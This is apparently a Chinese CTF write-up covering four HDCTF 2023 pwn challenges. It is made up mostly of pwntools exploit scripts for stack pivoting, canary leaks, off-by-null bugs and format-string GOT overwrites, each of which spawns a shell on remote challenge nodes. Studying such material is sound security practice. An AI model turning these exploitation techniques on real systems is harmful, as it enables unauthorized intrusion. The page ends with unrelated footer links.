HDCTF_2023
pwnner
有后门函数,seed是一个固定值,
//伪随机数
#include <stdio.h>
#include <stdlib.h>
int main()
{
int b;
srand(0x39);
for (size_t i = 0; i <1; i++)
{
b = rand() ;
printf("%d ", b); #1956681178
}
return 0;
}
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = remote('node1.anna.nssctf.cn',28067)
p.sendafter("name:\n",'1956681178')
payload = 'a'*0x48 +p64(0x4008B3)
p.sendlineafter("next?\n",payload)
p.interactive()
KEEP ON
附件 普通的栈迁移,用格式字符串漏洞泄露old_rbp ,
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p=remote('node4.anna.nssctf.cn',28609)
p.sendafter(": \n",'%16$p')
p.recvuntil('0x')
rbp = int(p.recv(12),16)
print(hex(rbp))
payload ="aaaaaaaa" +p64(0x4008d3)+p64(rbp-0x60+0x20)+p64(0x4005e0)+'/bin/sh\x00'
payload = payload.ljust(0x50,'a') +p64(rbp-0x10-0x50)+p64(0x4007f2)
p.recvuntil("keep on !\n")
p.send(payload)
p.interactive()
Makewish
附件 没有种子函数,默认为0,用gdb调试或用第一题的伪随机数脚本可以得到随机数,
用puts泄露canary,off by null 漏洞,覆盖rbp最后一字节为\x00,实现栈迁移
即使exp是真确的,也不能保证百分百一次性打通,
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = remote('node4.anna.nssctf.cn',28727)
system = 0x4007Cb
ret = 0x4005d9
p.sendafter("name\n\n",b'a'*0x29)
p.recvuntil('a'*0x29)
canary = u64(p.recv(7).rjust(8,'\x00'))
print(hex(canary))
p.sendafter("key\n\n",p32(0x000002c3)) #由于read只能读四个字节,不能用sendline,
payload = p64(ret)*10 +p64(system)+p64(canary)
p.sendafter("welcome to HDctf,You can make a wish to me\n",payload)
p.interactive()
Minions
附件 计算偏移,用%d$n (d:表示十进制数) 往key写数据,或者用fmtstr_payload{偏移,{key:数据}}
这道题用栈迁移迁到0x6010C0,是不可行的,因为0x6010C0离非rw段太近了
0x600000 0x601000 r--p 1000 #非rw段
0x601000 0x602000 rw-p 1000
我将介绍两种方法解决这道题目
方法一
栈循环一次,栈迁移到更高的地方
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = remote('node1.anna.nssctf.cn',28190)
#p = process('./4')
elf = ELF('./4')
def d():
gdb.attach(p)
pause()
bss = elf.bss(0xe00)
rdi = 0x400893
leave_ret = 0x400758
key = 0x6010A0
again = 0x4007DE
system = 0x4005c0
binsh = 0x6010C8
payload = '%102c%8$n'+'a'*7 +p64(key)
p.sendlineafter("Welcome to HDCTF.What you name?\n\n",payload)
payload = 'a'*0x30 +p64(bss+0x30)+p64(again)
p.sendafter("welcome,tell me more about you\n",payload)
p.sendlineafter("That's great.Do you like Minions?\n",'/bin/sh\x00')
payload = p64(rdi)+p64(binsh)+p64(system)
payload = payload.ljust(0x30,'\x00')+p64(bss-8)+p64(leave_ret)
p.sendafter("welcome,tell me more about you\n",payload)
p.sendlineafter("That's great.Do you like Minions?\n",'/bin/sh\x00'*5)
p.interactive()
方法二
栈循环两次,将printf_got修改为system
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = remote('node1.anna.nssctf.cn',28627)
elf = ELF('./4')
key = 0x6010A0
main =0x4007Ae
system = 0x4005c0
payload = '%102c%8$n'+'a'*7 +p64(key)
p.sendlineafter("Welcome to HDCTF.What you name?\n\n",payload)
payload2 = 'a'*0x38+p64(main)
p.sendafter("welcome,tell me more about you\n",payload2)
p.sendafter("That's great.Do you like Minions?\n",'/bin/sh\x00')
payload = fmtstr_payload(6,{elf.got['printf']:system})
p.sendafter("Welcome to HDCTF.What you name?\n\n",payload)
p.sendafter("welcome,tell me more about you\n",payload2)
p.sendafter("That's great.Do you like Minions?\n",'/bin/sh\x00')
p.sendafter("Welcome to HDCTF.What you name?\n\n",'/bin/sh\x00')
p.interactive()
HDCTF_2023的更多相关文章
随机推荐
- Q:oracle19c 如何重建vm_concat函数
没有wm_concat是因为oracle12c数据库中废弃了wm_concat函数 --–登录dba用户sys权限,为wmsys用户创建可用的wm_concat函数,依次执行以下语句 第一步 定义对象 ...
- 本地项目导入svn托管
- Java学习笔记-封装Java Util包Base64方法
懒人菜鸟入门Java系列-习惯性封装常用方法,方便开发过程中调用 注释: Java版本-1.8 1 * @Author wuwenchao 2 * @Version 1.0.0 3 * @Date ...
- Leecode 160.相交链表(Java 哈希表、双指针 两种方法)
找两个链表第一次指针相同的地方 想法:(本来是没有的,因为没读懂题目描述= =) 1.两个指针,长的先走(长减短相差的长度)这么多的步数,然后就可以开始比较指针,直到指向为空,期间如果指针相同 ...
- CanvasScaler的三种适配模式——缩放模式(Scale with Screen Size)
一.含义 根据屏幕尺寸进行缩放,随着屏幕尺寸进行放大缩小 二.参数介绍 第一个参数一般是美术人员根据游戏主要面向的手机市场,比如安卓市场,用市场上最常用的分辨率作为制作UI图片的标准.这里填的数就是美 ...
- rename基本操作
电脑是Macbook, 用Homebrew先安装rename. 如果没安装Homebrew 直接复制到terminal中回车, 时间稍长. ruby -e "$(curl -fsSL htt ...
- VsCode里面运行mvn命令显示The JAVA_HOME environment variable is not defined correctly
问题描述 关于这个问题,就是环境配置出了问题!!! 问题解决 在settings.json里面,配置的环境的路径不能出错,我就是在配置的时候,名为Environments的文件夹写成Environme ...
- Github账户的注册
注册步骤 首先进入github官网界面(注意,只能用Chrome或者Firefox浏览器.这样保险性更强一些) 官网地址:https://github.com/ 映入眼帘的界面是这样的: 点击右上角的 ...
- 初识Node和内置模块
初识Node与内置模块 概述:了解Node.js,熟悉内置模块:fs模块.path模块.http模块 初识Node.js 浏览器中的JavaScript运行环境 运行环境是指代码正常运行所需的必要环境 ...
- 树状分级框架UI实例
树状分级框架UI实例:(内容参考https://zhuanlan.zhihu.com/p/108485875) #coding:utf8 #!/usr/bin/env python #@author: ...